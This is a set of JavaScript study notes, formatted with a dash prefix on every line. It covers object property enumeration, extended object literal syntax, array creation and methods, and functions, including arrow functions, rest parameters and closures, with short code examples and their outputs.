-`let o = { x: 1 };`
-
-`o.propertyIsEnumerable("x")`
-
-true
-
-`o.propertyIsEnumerable("toString")`
-
-false: not an own property
-
-`Object.prototype.propertyIsEnumerable("toString")`
-
-false: not enumerable
-
-### Enumerating properties
-
-To guard against enumerating inherited properties with `for/in`, you can add an explicit check inside the loop body:
-
-    for(let p in o) {
-
-    if (!o.hasOwnProperty(p)) continue;
-
-    }
-
-    for(let p in o) {
-
-    if (typeof o[p] === "function") continue;
-
-    }
-
-Functions you can use to get an array of property names
-
-· `Object.keys()` returns an array of the names of the enumerable own properties of an object. It does not include non-enumerable properties, inherited properties, or properties whose name is a Symbol.
-
-· `Object.getOwnPropertyNames()` works like `Object.keys() `but returns an array of the names of nonenumerable own properties as well.
-
-· `Object.getOwnPropertySymbols()` returns own properties whose names are Symbols, whether or not they are enumerable.
-
-· `Reflect.ownKeys()` returns all own property names, both enumerable and non-enumerable, and both string and Symbol.
-
-### Extending Objects
-
-To copy the properties of one object to another object
-
-    let target = {x: 1}, source = {y: 2, z: 3};
-
-    for(let key of Object.keys(source)) {
-
-    target[key] = source[key];
-
-    }
-
-One reason to assign properties from one object into another is when you have an object that defines default values for many properties and you want to copy those default properties into another object if a property by that name does not already exist in that object. Using `Object.assign()` naively will not do what you want:
-
-    Object.assign(o, defaults);
-
-overwrites everything in o with defaults
-
-Instead, use one of the following:,
-
-`o = Object.assign({}, defaults, o);`
-
-`o = {...defaults, ...o};`
-
-### Serializing Objects
-
-The functions `JSON.stringify()` and` JSON.parse()` serialize and restore JavaScript objects.
-
-`let o = {x: 1, y: {z: [false, null, ""]}};`
-
-`let s = JSON.stringify(o);`
-
-s == ‘{"x":1,"y":{"z":\[false,null,""\]}}'
-
-`let p = JSON.parse(s);`
-
-p == {x: 1, y: {z: \[false,null, ""\]}}
-
-### Object methods
-
-`toString(), valueOf(), loLocaleString(), toJSON()`
-
-`let s = { x: 1, y: 1 }.toString();`
-
-s == "\[object Object\]"
-
-### Extended Object Literal Syntax
-
-### Shorthand Properties
-
-    let x = 1, y = 2;
-
-    let o = {
-
-    x: x,
-
-    y: y
-
-    };
-
-←&gt;
-
-`let x = 1, y = 2;`  
- `let o = { x, y };`
-
-### Computer Property Names
-
-`const PROPERTY_NAME = "p1";`  
- `function computePropertyName() { return "p" + 2; }`
-
-    let o = {};
-
-    o[PROPERTY_NAME] = 1;
-
-    o[computePropertyName()] = 2;
-
-←&gt;
-
-    let p = {
-
-    [PROPERTY_NAME]: 1,
-
-    [computePropertyName()]: 2
-
-    };
-
-### Symbols as Property Names
-
-    const extension = Symbol("my extension symbol");
-
-    let o = {
-
-    [extension]: {}
-
-    };
-
-    o[extension].x = 0;
-
-Two Symbols created with the same string argument are still different from one another.
-
-The point of Symbols is not security, but to define a safe extension mechanism for JavaScript objects. If you get an object from third-party code that you do not control and need to add some of your own properties to that object but want to be sure that your properties will not conflict with any properties that may already exist on the object, you can safely use Symbols as your property names.
-
-### Spread Operator
-
-You can copy the properties of an existing object into a new object using the "spread operator" … inside an object literal:
-
-`let position = { x: 0, y: 0 };`  
- `let dimensions = { width: 100, height: 75 };`  
- `let rect = { ...position, ...dimensions };`  
- `rect.x + rect.y + rect.width + rect.height`
-
-### Shorthand Methods
-
-    let square = {
-
-    area: function() {
-
-    return this.side * this.side; },
-
-    side: 10
-
-    };
-
-←&gt;
-
-    let square = {
-
-    area() {
-
-    return this.side * this.side; },
-
-    side: 10
-
-    };
-
-When you write a method using this shorthand syntax, the property name can take any of the forms that are legal in an object literal: in addition to a regular JavaScript identifier like the name area above, you can also use string literals and computed property names, which can include Symbol property names:
-
-    const METHOD_NAME = "m";
-
-    const symbol = Symbol();
-
-    let weirdMethods = {
-
-    "method With Spaces"(x) { return x + 1; },
-
-    [METHOD_NAME](x) { return x + 2; },
-
-    [symbol](x) { return x + 3; }
-
-    };
-
-`weirdMethods["method With Spaces"](1)`
-
-2
-
-`weirdMethods[METHOD_NAME](1)`
-
-3
-
-`weirdMethods[symbol](1)`
-
-4
-
-### Property Getters and Setters
-
-    let o = {
-
-    dataProp: value,
-
-    get accessorProp() { return this.dataProp; },
-
-    set accessorProp(value) { this.dataProp = value; }
-
-    };
-
-### Arrays
-
-### Creating Arrays
-
-· Array literals
-
-· The … spread operator on an iterable object
-
-· The `Array()` constructor
-
-· The `Array.of()` and `Array.from()` factory methods
-
-### Array literals
-
-`let empty = [];`
-
-`let primes = [2, 3, 5, 7, 11];`
-
-`let misc = [ 1.1, true, "a", ];`
-
-`let b = [[1, {x: 1, y: 2}], [2, {x: 3, y: 4}]];`
-
-If an array literal contains multiple commas in a row, with no value between, the array is sparse
-
-`let count = [1,,3];`
-
-`let undefs = [,,];`
-
-Array literal syntax allows an optional trailing comma, so `[,,]` has a length of 2, not 3.
-
-### The Spread Operator
-
-`let a = [1, 2, 3];`
-
-`let b = [0, ...a, 4];`
-
-\[0, 1, 2, 3, 4\]
-
-create a copy of an array — modifying the copy does not change the original
-
-`let original = [1,2,3];`  
- `let copy = [...original];`
-
-`let digits = [..."0123456789ABCDEF"];`
-
-\["0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F"\]
-
-`let letters = [..."hello world"];`
-
-\["h","e","l","l""o","","w","o""r","l","d"\]
-
-`[...new Set(letters)]`
-
-\["h","e","l","o","","w","r","d"\]
-
-### Array.of()
-
-When the `Array()` constructor function is invoked with one numeric argument, it uses that argument as an array length. But when invoked with more than one numeric argument, it treats those arguments as elements for the array to be created. This means that the `Array()` constructor cannot be used to create an array with a single numeric element.
-
-`Array.of()`
-
-\[\]
-
-`Array.of(10)`
-
-\[10\]
-
-`Array.of(1,2,3)`
-
-\[1, 2, 3\]
-
-### Array.from()
-
-It is also a simple way to make a copy of an array:
-
-`let copy = Array.from(original);`
-
-`Array.from()` is also important because it defines a way to make a true-array copy of an array-like object. Array-like objects are non-array objects that have a numeric length property and have values stored with properties whose names happen to be integers.
-
-`let truearray = Array.from(arraylike);`
-
-`Array.from()` also accepts an optional second argument. If you pass a function as the second argument, then as the new array is being built, each element from the source object will be passed to the function you specify, and the return value of the function will be stored in the array instead of the original value.
-
-### Reading and Writing Array Elements
-
-What is special about arrays is that when you use property names that are non-negative integers , the array automatically maintains the value of the `length` property for you.
-
-JavaScript converts the numeric array index you specify to a string — the index 1 becomes the string "1", then uses that string as a property name.
-
-It is helpful to clearly distinguish an array index from an object property name. All indexes are property names, but only property names that are integers between 0 and 231 are indexes. All arrays are objects, and you can create properties of any name on them. If you use properties that are array indexes, however, arrays have the special behavior of updating their `length` property as needed.
-
-Note that you can index an array using numbers that are negative or that are not integers. When you do this, the number is converted to a string, and that string is used as the property name. Since the name is not a non-negative integer, it is treated as a regular object property, not an array index.
-
-`a[-1.23] = true;`
-
-This creates a property named "-1.23"
-
-`a["1000"] = 0;`
-
-This the 1001st element of the array
-
-`a[1.000] = 1;`
-
-Array index 1. Same as a\[1\] = 1;
-
-The fact that array indexes are simply a special type of object property name means that JavaScript arrays have no notion of an "out of bounds" error. When you try to query a nonexistent property of any object, you don't get an error; you simply get `undefined`.
-
-### Sparse Arrays
-
-Sparse arrays can be created with the `Array()` constructor or simply by assigning to an array index larger than the current array length.
-
-`a[1000] = 0;`
-
-Assignment adds one element but sets length to 1001.
-
-you can also make an array sparse with the `delete` operator.
-
-Note that when you omit a value in an array literal (using repeated commas as in `[1,,3]`), the resulting array is sparse, and the omitted elements simply do not exist
-
-### Array Length
-
-if you set the length property to a nonnegative integer `n` smaller than its current value, any array elements whose index is greater than or equal to n are deleted from the array.
-
-`a = [1,2,3,4,5];`
-
-`a.length = 3;`
-
-a is now \[1,2,3\].
-
-`a.length = 0;`
-
-Delete all elements. a is \[\].
-
-`a.length = 5;`
-
-Length is 5, but no elements, like `new Array(5)`
-
-You can also set the length property of an array to a value larger than its current value. Doing this does not actually add any new elements to the array; it simply creates a sparse area at the end of the array.
-
-### Adding and Deleting Array Elements
-
-`let a = [];`
-
-`a[0] = "zero";`
-
-`a[1] = "one";`
-
-add elements to it.
-
-You can also use the `push()` method to add one or more values to the end of an array.
-
-You can use the` unshift()` method to insert a value at the beginning of an array, shifting the existing array elements to higher indexes.
-
-The `pop()` method is the opposite of `push()`: it removes the last element of the array and returns it, reducing the length of an array by 1.
-
-Similarly, the `shift()` method removes and returns the first element of the array, reducing the length by 1 and shifting all elements down to an index one lower than their current index.
-
-You can delete array elements with the delete operator
-
-`let a = [1,2,3];`
-
-`delete a[2];`
-
-a now has no element at index 2
-
-`2 in a`
-
-false
-
-`a.length`
-
-3: delete does not affect array length
-
-### Iterating Arrays
-
-The easiest way to loop through each of the elements of an array (or any iterable object) is with the `for/of`loop
-
-    let letters = [..."Hello world"];
-
-    let string = "";
-
-    for(let letter of letters) {
-
-    string += letter;
-
-    }
-
-It has no special behavior for sparse arrays and simply returns `undefined` for any array elements that do not exist.
-
-If you want to use a `for/of` loop for an array and need to know the index of each array element, use the `entries()` method of the array
-
-    let letters = [..."Hello world"];
-
-    let everyother = "";
-
-    for(let [index, letter] of letters.entries()) {
-
-    if (index % 2 === 0) everyother += letter;
-
-    }
-
-Another good way to iterate arrays is with `forEach()`. This is not a new form of the for loop, but an array method that offers a functional approach to array iteration.
-
-    let letters = [..."Hello world"];
-
-    let uppercase = "";
-
-    letters.forEach(letter => {
-
-    uppercase += letter.toUpperCase();
-
-    });
-
-You can also loop through the elements of an array with a `for` loop.
-
-    for(let i = 0, len = letters.length; i < len; i++) {
-
-    // loop body
-
-    }
-
-### Multidimensional Arrays
-
-### Create a multidimensional array
-
-`let table = new Array(10);`
-
-    for(let i = 0; i < table.length; i++) {
-
-    table[i] = new Array(10);
-
-    }
-
-    for(let row = 0; row < table.length; row++) {
-
-    for(let col = 0; col < table[row].length; col++) {
-
-    table[row][col] = row * col;
-
-    }
-
-    }
-
-### Array Methods
-
-### Array Iterator Methods
-
-First, all of these methods accept a function as their first argument and invoke that function once for each element (or some elements) of the array. If the array is sparse, the function you pass is not invoked for nonexistent elements. In most cases, the function you supply is invoked with three arguments: the value of the array element, the index of the array element, and the array itself.
-
-FOREACH()
-
-`let data = [1,2,3,4,5], sum = 0;`
-
-    data.forEach(value => { sum += value; });
-
-    data.forEach(function(v, i, a) {
-
-    a[i] = v + 1;
-
-    });
-
-15
-
-\[2,3,4,5,6\]
-
-MAP()
-
-`let a = [1, 2, 3];`  
- `a.map(x => x*x)`
-
-\[1, 4, 9\]
-
-FILTER()
-
-`let a = [5, 4, 3, 2, 1];`  
- `a.filter(x => x < 3) `  
- `a.filter((x,i) => i % 2 === 0)`
-
-\[2, 1\];
-
-\[5, 3, 1\];
-
-FIND()
-
-FINDINDEX()
-
-`let a = [1,2,3,4,5];`
-
-`a.findIndex(x => x === 3)`
-
-`a.find(x => x % 5 === 0)`
-
-`a.find(x => x % 7 === 0)`
-
-2
-
-5
-
-undefined
-
-EVERY()
-
-SOME()
-
-`let a = [1,2,3,4,5];`
-
-`a.every(x => x < 10)`
-
-`a.some(x => x % 2 === 0)`
-
-`a.some(isNaN)`
-
-true
-
-true
-
-false
-
-REDUCE()
-
-ReduceRight()
-
-l`et a = [1,2,3,4,5];`
-
-`a.reduce((x,y) => x+y, 0)`
-
-`a.reduce((x,y) => x*y, 1)`
-
-`a.reduce((x,y) => (x > y) ? x : y)`
-
-15
-
-120
-
-5
-
-Note that `map()` returns a new array: it does not modify the array it is invoked on. If that array is sparse, your function will not be called for the missing elements, but the returned array will be sparse in the same way as the original array: it will have the same length and the same missing elements.
-
-To close the gaps in a sparse array, you can do this:
-
-`let dense = sparse.filter(() => true);`
-
-And to close gaps and remove undefined and null elements, you can use filter, like this:
-
-`a = a.filter(x => x !== undefined && x !== null);`
-
-Unlike `filter()`, however,` find()` and `findIndex()` stop iterating the first time the predicate finds an element. When that happens, `find()` returns the matching element, and `findIndex()` returns the index of the matching element. If no matching element is found,` find()` returns `undefined` and` findIndex()`returns -1.
-
-When you invoke `reduce()` with no initial value, it uses the first element of the array as the initial value.
-
-`reduceRight()` works just like `reduce()`, except that it processes the array from highest index to lowest (right-to-left), rather than from lowest to highest. You might want to do this if the reduction operation has right-to-left associativity
-
-### Flattening arrays with `flat()` and `flatMap()`
-
-`[1, [2, 3]].flat()`
-
-\[1, 2, 3\]
-
-`[1, [2, [3]]].flat()`
-
-\[1, 2, \[3\]\]
-
-`let a = [1, [2, [3, [4]]]];`
-
-`a.flat(1)`
-
-`a.flat(2)`
-
-`a.flat(3)`
-
-`a.flat(4)`
-
-\[1, 2, \[3, \[4\]\]\]
-
-\[1, 2, 3, \[4\]\]
-
-\[1, 2, 3, 4\]
-
-\[1, 2, 3, 4\]
-
-`let phrases = ["hello world", "the definitive guide"];`  
- `let words = phrases.flatMap(phrase => phrase.split(" "));`
-
-\["hello", "world", "the", "definitive", "guide"\];
-
-Calling `a.flatMap(f)` is the same as (but more efficient than) `a.map(f).flat()`:
-
-### Adding arrays with concat()
-
-`let a = [1,2,3];`
-
-`a.concat(4, 5)`
-
-\[1,2,3,4,5\]
-
-`a.concat([4,5],[6,7])`
-
-\[1,2,3,4,5,6,7\]
-
-### Stacks and Queues with push(), pop(), shift(), and unshift()
-
-The `push()` and` pop()` methods allow you to work with arrays as if they were stacks. The `push()` method appends one or more new elements to the end of an array and returns the new length of the array.
-
-The `unshift()` and `shift()` methods behave much like `push()` and` pop()`, except that they insert and remove elements from the beginning of an array rather than from the end.
-
-You can implement a queue data structure by using `push()` to add elements at the end of an array and `shift()` to remove them from the start of the array. Note differences in `unshift `with single and multiple values.
-
-`let a = [];`
-
-`a.unshift(1)`
-
-\[1\]
-
-`a.unshift(2)`
-
-\[2, 1\]
-
-`a = [];`
-
-`a.unshift(1,2)`
-
-\[1, 2\]
-
-### Subarrays with `slice(), splice(), fill()`, and `copyWithin()`
-
-SLICE()
-
-`let a = [1,2,3,4,5];`
-
-`a.slice(0,3);`
-
-`a.slice(3);`
-
-`a.slice(1,-1);`
-
-`a.slice(-3,-2);`
-
-\[1,2,3\]
-
-\[4,5\]
-
-\[2,3,4\]
-
-\[3\]
-
-SPLICE
-
-`let a = [1,2,3,4,5,6,7,8];`
-
-`a.splice(4)`
-
-`a.splice(1,2)`
-
-`a.splice(1,1)`
-
-`let a = [1,2,3,4,5];`
-
-`a.splice(2,0,"a","b")`
-
-`a.splice(2,2,[1,2],3)`
-
-\[5,6,7,8\]; `a` is now \[1,2,3,4\]
-
-\[2,3\]; a is now \[1,4\]
-
-\[4\]; a is now \[1\]
-
-\[\]; a is now \[1,2,"a","b",3,4,5\]
-
-\["a","b"\]; a is now \[1,2,\[1,2\],3,3,4,5\]
-
-FILL()
-
-`let a = new Array(5);`
-
-`a.fill(0)`
-
-`a.fill(9, 1)`
-
-`a.fill(8, 2, -1)`
-
-\[0,0,0,0,0\]
-
-\[0,9,9,9,9\]
-
-\[0,9,8,8,9\]
-
-COPYWITHIN()
-
-`let a = [1,2,3,4,5];`
-
-`a.copyWithin(1)`
-
-`a.copyWithin(2, 3, 5)`
-
-`a.copyWithin(0, -2)`
-
-\[1,1,2,3,4\]
-
-\[1,1,3,4,4\]
-
-\[4,4,3,4,4\]
-
-`splice()` is a general-purpose method for inserting or removing elements from an array.` splice()` can delete elements from an array, insert new elements into an array, or perform both operations at the same time.
-
-The first argument to `splice()` specifies the array position at which the insertion and/or deletion is to begin. The second argument specifies the number of elements that should be deleted from (spliced out of) the array.
-
-Unlike `concat(), splice()` inserts arrays themselves, not the elements of those arrays.
-
-`copyWithin()` copies a slice of an array to a new position within the array. It modifies the array in place and returns the modified array, but it will not change the length of the array.
-
-### Array Searching and Sorting Methods
-
-INDEXOF()  
- LASTINDEXOF()
-
-`let a = [0,1,2,1,0];`
-
-`a.indexOf(1)`
-
-`a.lastIndexOf(1)`
-
-`a.indexOf(3)`
-
-1
-
-3
-
--1
-
-SORT()
-
-`let a = [33, 4, 1111, 222];`
-
-`a.sort();`
-
-`a.sort((a,b) => a - b);`
-
-Case-insensitive sort
-
-    let a = ["ant", "Bug", "cat", "Dog"];
-
-    a.sort(); // a == ["Bug","Dog","ant","cat"];
-
-    a.sort(function(s,t) {
-
-    let a = s.toLowerCase();
-
-    let b = t.toLowerCase();
-
-    if (a < b) return -1;
-
-    if (a > b) return 1;
-
-    return 0;
-
-    });
-
-`[1111, 222, 33, 4];`
-
-`[4, 33, 222, 1111]`
-
-REVERSE()
-
-`let a = [1,2,3];`  
- `a.reverse();`
-
-\[3,2,1\]
-
-`indexOf()` and `lastIndexOf()` compare their argument to the array elements using the equivalent of the === operator. If your array contains objects instead of primitive values, these methods check to see if two references both refer to exactly the same object. If you want to actually look at the content of an object, try using the `find()` method with your own custom predicate function instead.
-
-`indexOf()` and `lastIndexOf()` take an optional second argument that specifies the array index at which to begin the search. Negative values are allowed for the second argument and are treated as an offset from the end of the array.
-
-`indexOf()` will not detect the NaN value in an array, but `includes()` will
-
-When `sort()` is called with no arguments, it sorts the array elements in alphabetical order. To sort an array into some order other than alphabetical, you must pass a comparison function as an argument to `sort()`.
-
-### Array to String Conversions
-
-The `join()` method converts all the elements of an array to strings and concatenates them, returning the resulting string.
-
-`let a = [1, 2, 3];`
-
-`a.join()`
-
-`a.join(" ")`
-
-`a.join("")`
-
-"1,2,3"
-
-"1 2 3"
-
-"123"
-
-`let b = new Array(10);`
-
-`b.join("-")`
-
-" — — — — -"
-
-Arrays, like all JavaScript objects, have a `toString()` method. For an array, this method works just like the `join()` method with no arguments:
-
-`[1,2,3].toString()`
-
-"1,2,3"
-
-`["a", "b", "c"].toString()`
-
-"a,b,c"
-
-`[1, [2,"c"]].toString()`
-
-"1,2,c"
-
-### Static Array Functions
-
-`Array.isArray([])`
-
-true
-
-`Array.isArray({})`
-
-false
-
-### Array-Like Objects
-
-It is often perfectly reasonable to treat any object with a numeric `length` property and corresponding non-negative integer properties as a kind of array.
-
-    let a = {};
-
-    let i = 0;
-
-    while(i < 10) {
-
-    a[i] = i * i;
-
-    i++;
-
-    }
-
-    a.length = i;
-
-    // Now iterate through it as if it were a real array
-
-    let total = 0;
-
-    for(let j = 0; j < a.length; j++) {
-
-    total += a[j];
-
-    }
-
-Since array-like objects do not inherit from `Array.prototype`, you cannot invoke array methods on them directly. You can invoke them indirectly using the `Function.call` method.
-
-`let a = {"0": "a", "1": "b", "2": "c", length: 3};`
-
-// An array-like object
-
-`Array.prototype.join.call(a, "+")`
-
-"a+b+c"
-
-`Array.prototype.join.call("JavaScript", " ")`
-
-"J a v a S c r i p t"
-
-`Array.prototype.map.call(a, x => x.toUpperCase())`
-
-\["A","B","C"\]
-
-`Array.from(a)`
-
-\["a","b","c"\]
-
-### Strings as Arrays
-
-`let s = "test";`
-
-`s.charAt(0)`
-
-t
-
-`s[1]`
-
-e
-
-### Functions
-
-In addition to the arguments, each invocation has another value — the invocation context — that is the value of the `this` keyword.
-
-### Function Declarations
-
-    function printprops(o) {
-
-    for(let p in o) {
-
-    console.log(`${p}: ${o[p]}\n`);
-
-    }
-
-    }
-
-Function declaration statements are "hoisted" to the top of the enclosing script, function, or block so that functions defined in this way may be invoked from code that appears before the definition.
-
-### Function Expressions
-
-`const square = function(x) { return x*x; };`
-
-    const f = function fact(x) {
-
-    if (x <= 1) return 1;
-
-    return x * fact(x-1);
-
-    }
-
-Function expressions can include names, which is useful for recursion
-
-`[3,2,1].sort(function(a,b) { return a - b; });`
-
-Function expressions can also be used as arguments to other functions
-
-`let tensquared = (function(x) {return x*x;}(10));`
-
-Function expressions are sometimes defined and immediately invoked
-
-### Arrow Functions
-
-`const sum = (x, y) => { return x + y; };`
-
-`const sum = (x, y) => x + y;`
-
-no need for `return`
-
-`const polynomial = x => x*x + 2*x + 3;`
-
-omit parens with single parameter
-
-`const constantFunc = () => 42;`
-
-usage for no params
-
-If the body of your arrow function is a single return statement but the expression to be returned is an object literal, then you have to put the object literal inside parentheses to avoid syntactic ambiguity between the curly braces of a function body and the curly braces of an object literal
-
-`const f = x => { return { value: x }; };`
-
-good
-
-`const g = x => ({ value: x });`
-
-good
-
-`const h = x => { value: x };`
-
-returns nothing
-
-`const i = x => { v: x, w: x };`
-
-syntax error
-
-Arrow functions differ from functions defined in other ways in one critical way: they inherit the value of the `this` keyword from the environment in which they are defined rather than defining their own invocation context as functions defined in other ways do.
-
-### Nested Functions
-
-    function hypotenuse(a, b) {
-
-    function square(x) { return x*x; }
-
-    return Math.sqrt(square(a) + square(b));
-
-    }
-
-### Invoking Functions
-
-For function invocation in non-strict mode, the invocation context (the `this` value) is the global object. In strict mode, however, the invocation context is `undefined`.
-
-`const strict = (function() { return !this; }())`
-
-Determine if we're in strict mode
-
-### Constructor Invocation
-
-A constructor invocation creates a new, empty object that inherits from the object specified by the `prototype`property of the constructor.
-
-### Indirect invocation
-
-JavaScript functions are objects, and like all JavaScript objects, they have methods. Two of these methods, `call()` and `apply()`, invoke the function indirectly. Both methods allow you to explicitly specify the `this `value for the invocation, which means you can invoke any function as a method of any object, even if it is not actually a method of that object.
-
-### Function Arguments and Parameters
-
-### Optional Parameters and Defaults
-
-When a function is invoked with fewer arguments than declared parameters, the additional parameters are set to their default value, which is normally `undefined`.
-
-    function getPropertyNames(o, a) {
-
-    a = a || [];
-
-    for(let property in o) a.push(property);
-
-    return a;
-
-    }
-
-    function getPropertyNames(o, a = []) {
-
-    for(let property in o) a.push(property);
-
-    return a;
-
-    }
-
-One interesting case is that, for functions with multiple parameters, you can use the value of a previous parameter to define the default value of the parameters that follow it
-
-    const rectangle = (width, height = width*2) => ({width, height});
-
-### Rest Parameters and Variable-Length Argument Lists
-
-Rest parameters enable us to write functions that can be invoked with arbitrarily more arguments than parameters.
-
-    function max(first=-Infinity, ...rest) {
-
-    let maxValue = first;
-
-    for(let n of rest) {
-
-    if (n > maxValue) {
-
-    maxValue = n;
-
-    }
-
-    }
-
-    return maxValue;
-
-    }
-
-    max(1, 10, 100, 2, 3, 1000, 4, 5, 6)
-
-1000
-
-within the body of a function, the value of a rest parameter will always be an array. The array may be empty, but a rest parameter will never be `undefined`.
-
-This type of function is called variadic functions, variable arity functions, or vararg functions.
-
-### The Arguments Object
-
-Within the body of any function, the identifier `arguments` refers to the Arguments object for that invocation.
-
-    function max(x) {
-
-    let maxValue = -Infinity;
-
-    for(let i = 0; i < arguments.length; i++) {
-
-    if (arguments[i] > maxValue)
-
-    maxValue = arguments[i];
-
-    }
-
-    return maxValue;
-
-    }
-
-    max(1, 10, 100, 2, 3, 1000, 4, 5, 6)
-
-1000
-
-you should avoid using it in any new code you write.
-
-### The Spread Operator for Function Calls
-
-    let numbers = [5, 2, 10, -1, 9, 100, 1];
-
-    Math.min(...numbers)
-
--1
-
-    function timed(f) {
-
-    return function(...args) {
-
-    console.log(`Entering function ${f.name}`);
-
-    let startTime = Date.now();
-
-    try {
-
-    return f(...args);
-
-    }
-
-    finally {
-
-    console.log(`Exiting ${f.name} after ${Date.now() - startTime}ms`);
-
-    }
-
-    };
-
-    }
-
-    // Compute the sum of the numbers between 1 and n by brute force
-
-    function benchmark(n) {
-
-    let sum = 0;
-
-    for(let i = 1; i <= n; i++) sum += i;
-
-    return sum;
-
-    }
-
-    // Now invoke the timed version of that test function
-
-    timed(benchmark)(1000000)
-
-### Destructuring Function Arguments into Parameters
-
-    function vectorAdd(v1, v2) {
-
-    return [v1[0] + v2[0], v1[1] + v2[1]];
-
-    }
-
-    vectorAdd([1,2], [3,4])
-
-←&gt;
-
-    function vectorAdd([x1,y1], [x2,y2]) {
-
-    return [x1 + x2, y1 + y2];
-
-    }
-
-    vectorAdd([1,2], [3,4])
-
-    function vectorMultiply({x, y}, scalar) {
-
-    return { x: x*scalar, y: y*scalar };
-
-    }
-
-    vectorMultiply({x: 1, y: 2}, 2)
-
-←&gt;
-
-    function vectorMultiply({x,y}, scalar) {
-
-    return { x: x*scalar, y: y*scalar};
-
-    }
-
-    vectorMultiply({x: 1, y: 2}, 2)
-
-### Argument Types
-
-Adding code to check the types of arguments
-
-    function sum(a) {
-
-    let total = 0;
-
-    for(let element of a) {
-
-    if (typeof element !== "number") {
-
-    throw new TypeError("sum(): elements must be numbers");
-
-    }
-
-    total += element;
-
-    }
-
-    return total;
-
-    }
-
-`sum([1,2,3])`
-
-6
-
-`sum(1, 2, 3);`
-
-`TypeError`: 1 is not iterable
-
-`sum([1,2,"3"]);`
-
-`TypeError`: element 2 is not a number
-
-### Functions as Values
-
-    function square(x) { return x * x; }
-
-`let s = square;`
-
-`square(4)`
-
-16
-
-`s(4)`
-
-16
-
-Functions can also be assigned to object properties rather than variables.
-
-`let o = {square: function(x) { return x*x; }};`
-
-`let y = o.square(16);`
-
-256
-
-Functions don't even require names at all, as when they're assigned to array elements:
-
-`let a = [x => x*x, 20];`
-
-`a[0](a[1])`
-
-400
-
-`a[0]` accesses first element of the array, which is "`x => x*x`", `(a[1])` passes parameter, which is 20.
-
-### Examples of using functions as data
-
-    function add(x,y) { return x + y; }
-
-    function subtract(x,y) { return x - y; }
-
-    function multiply(x,y) { return x * y; }
-
-    function divide(x,y) { return x / y; }
-
-    function operate(operator, operand1, operand2) {
-
-    return operator(operand1, operand2);
-
-    }
-
-`let i = operate(add, operate(add, 2, 3), operate(multiply, 4,5));`
-
-`(2+3) + (4*5):`
-
-or:
-
-    const operators = {
-
-    add: (x,y) => x+y,
-
-    subtract: (x,y) => x-y,
-
-    multiply: (x,y) => x*y,
-
-    divide: (x,y) => x/y,
-
-    pow: Math.pow
-
-    };
-
-    function operate2(operation, operand1, operand2) {
-
-    if (typeof operators[operation] === "function") {
-
-    return operators[operation](operand1, operand2);
-
-    }
-
-    else throw "unknown operator";
-
-    }
-
-`operate2("add", "hello", operate2("add", " ", "world"))`
-
-// "hello world"
-
-`operate2("pow", 10, 2)`
-
-100
-
-### Defining Your Own Function Properties
-
-When a function needs a "static" variable whose value persists across invocations, it is often convenient to use a property of the function itself.
-
-For example, suppose you want to write a function that returns a unique integer whenever it is invoked. The function must never return the same value twice. In order to manage this, the function needs to keep track of the values it has already returned, and this information must persist across function invocations.
-
-    uniqueInteger.counter = 0;
-
-    function uniqueInteger() {
-
-    return uniqueInteger.counter++;
-
-    }
-
-    uniqueInteger()
-
-0
-
-    uniqueInteger()
-
-1
-
-Compute factorials and cache results as properties of the function itself.
-
-    function factorial(n) {
-
-    if (Number.isInteger(n) && n > 0) {
-
-    if (!(n in factorial)) {
-
-    factorial[n] = n * factorial(n-1);
-
-    }
-
-    return factorial[n];
-
-    }
-
-    else {
-
-    return NaN;
-
-    }
-
-    }
-
-    factorial[1] = 1;
-
-Initialize the cache to hold this base case.
-
-    factorial(6)
-
-720
-
-    factorial[5]
-
-120; the call above caches this value
-
-### Functions as Namespaces
-
-Variables declared within a function are not visible outside of the function. For this reason, it is sometimes useful to define a function simply to act as a temporary namespace in which you can define variables without cluttering the global namespace.
-
-Variables that would have been global become local to the function. Following code defines only a single global variable: the function name `chunkNamespace`.
-
-    function chunkNamespace() {
-
-    // Chunk of code goes here
-
-    // Any variables defined in the chunk are local to this function
-
-    // instead of cluttering up the global namespace.
-
-    }
-
-    chunkNamespace();
-
-If defining even a single property is too much, you can define and invoke an anonymous function in a single expression — IIEF (immediately invoked function expression)
-
-    (function() {
-
-    // chunkNamespace() function rewritten as an unnamed expression.
-
-    // Chunk of code goes here
-
-    }());
-
-### Closures
-
-JavaScript uses lexical scoping. This means that functions are executed using the variable scope that was in effect when they were defined, not the variable scope that is in effect when they are invoked.
-
-In order to implement lexical scoping, the internal state of a JavaScript function object must include not only the code of the function but also a reference to the scope in which the function definition appears.
-
-This combination of a function object and a scope (a set of variable bindings) in which the function's variables are resolved is called a closure.
-
-Closures become interesting when they are invoked from a different scope than the one they were defined in. This happens most commonly when a nested function object is returned from the function within which it was defined.
-
-    let scope = "global scope";
-
-    function checkscope() {
-
-    let scope = "local scope";
-
-    function f() { return scope; }
-
-    return f();
-
-    }
-
-`checkscope()`
-
-"local scope"
-
-    let scope = "global scope";
-
-    function checkscope() {
-
-    let scope = "local scope";
-
-    function f() { return scope; }
-
-    return f;
-
-    }
-
-`let s = checkscope()();`
-
-"local scope"
-
-Closures capture the local variables of a single function invocation and can use those variables as private state.
-
-    let uniqueInteger = (function() {
-
-    let counter = 0;
-
-    return function() { return counter++; };
-
-    }());
-
-`uniqueInteger()`
-
-0
-
-`uniqueInteger()`
-
-1
-
-it is the return value of the function that is being assigned to `uniqueInteger`.
-
-Private variables like counter need not be exclusive to a single closure: it is perfectly possible for two or more nested functions to be defined within the same outer function and share the same scope.
-
-    function counter() {
-
-    let n = 0;
-
-    return {
-
-    count: function() { return n++; },
-
-    reset: function() { n = 0; }
-
-    };
-
-    }
-
-`let c = counter(), d = counter();`
-
-`c.count()`
-
-0
-
-`d.count()`
-
-0
-
-`c.reset();`
-
-`c.count()`
-
-0
-
-`d.count()`
-
-1
-
-You can combine this closure technique with property getters and setters
-
-    function counter(n) {
-
-    return {
-
-    get count() { return n++; },
-
-    set count(m) {
-
-    if (m > n) n = m;
-
-    else throw Error("count can only be set to a larger value")
-
-    }
-
-    };
-
-    }
-
-`let c = counter(1000);`
-
-`c.count`
-
-1000
-
-`c.count`
-
-1001
-
-`c.count = 2000;`
-
-`c.count`
-
-2000
-
-`c.count = 2000;`
-
-Error: count can only be set to a larger value
-
-Define a private variable and two nested functions to get and set the value of that variable.
-
-    function addPrivateProperty(o, name, predicate) {
-
-    let value;
-
-    o[`get${name}`] = function() { return value; };
-
-    o[`set${name}`] = function(v) {
-
-    if (predicate && !predicate(v)) {
-
-    throw new TypeError(`set${name}: invalid value ${v}`);
-
-    }
-
-    else {
-
-    value = v;
-
-    }
-
-    };
-
-    }
-
-`let o = {};`
-
